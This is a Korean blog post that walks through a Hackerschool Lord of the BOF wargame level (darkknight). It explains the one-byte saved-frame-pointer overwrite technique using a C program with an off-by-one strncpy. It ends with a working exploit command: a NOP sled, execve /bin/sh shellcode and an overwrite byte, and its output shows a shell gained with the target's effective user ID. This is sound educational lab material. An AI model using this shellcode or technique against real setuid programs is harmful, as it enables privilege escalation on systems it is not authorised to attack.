2012. 4. 17. 14:43



SPO 라는 것은 EBP를 1바이트만 바꾸어주어 코드의 에필로그부분을 바꾸어 주는 공격 기법이다. 

개인적으로 이 공격이 좋은 이유는 C언어를 처음 배울 당시 내가 코딩상 많은 실수를 했던 부분이기 때문이다.

int buff[10];

for(int i=0;i<=10;i++){

buff[i];

}

이런식으로 부등호와 등호를 같이 쓰게되면 11개의 글자가 들어감으로써 1바이트가 오버플로우가 된다. 이럴때 사용할 수 있는 부분이다. 


다음은 해커스쿨 LOB 문제 12번이다. 


 

[golem@localhost golem]$ cat darkknight.c

/*

        The Lord of the BOF : The Fellowship of the BOF

        - darkknight

        - FPO

*/

#include <stdio.h>

#include <stdlib.h>

 

void problem_child(char *src)

{

        char buffer[40];

        strncpy(buffer, src, 41);

        printf("%s\n", buffer);

}

main(int argc, char *argv[])

{

        if(argc<2){

                printf("argv error\n");

                exit(0);

        }

        problem_child(argv[1]);

}





SPO 라는 공격 기법은, sfp에 저장된 ebp값을 1바이트만 overwrite 하여 sfp 값의 앞자리만 변경하는 것이다. 이렇게 sfp 값이 변경 되었다면, 사용자 함수가 호출되고 나서, 다시 MAIN 함수로 돌아올 값이 sfp 값에 저장되게 되는데 이 값을 1바이트만 write 시켜줘서 다른 경로로 빠지게 만들 수 있다


이를 이용하여 공격을 하는 것이다.

변경된 sfp를 가지고 ret을 설정하는 과정에서(leave,ret) ebp+4(pop 때문에) ebp+4된 곳의 주소에서 주소 값을 가져와서 그것을 eip로 설정한다  그리고 그 다음 4바이트는 buffer의 주소값이 들어가 있으므로 buffer-8 의 주소 값을 ebp로 셋팅해 주면 된다.
 




[golem@localhost golem]$ ./darkknight `python -c 'print "\x90"*15+"\x31\xd2\x89\xd0\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"+"\xa8"'`

bash$ id

uid=511(golem) gid=511(golem) euid=512(darkknight) egid=512(darkknight) groups=511(golem)

bash$
 


Posted by k1rha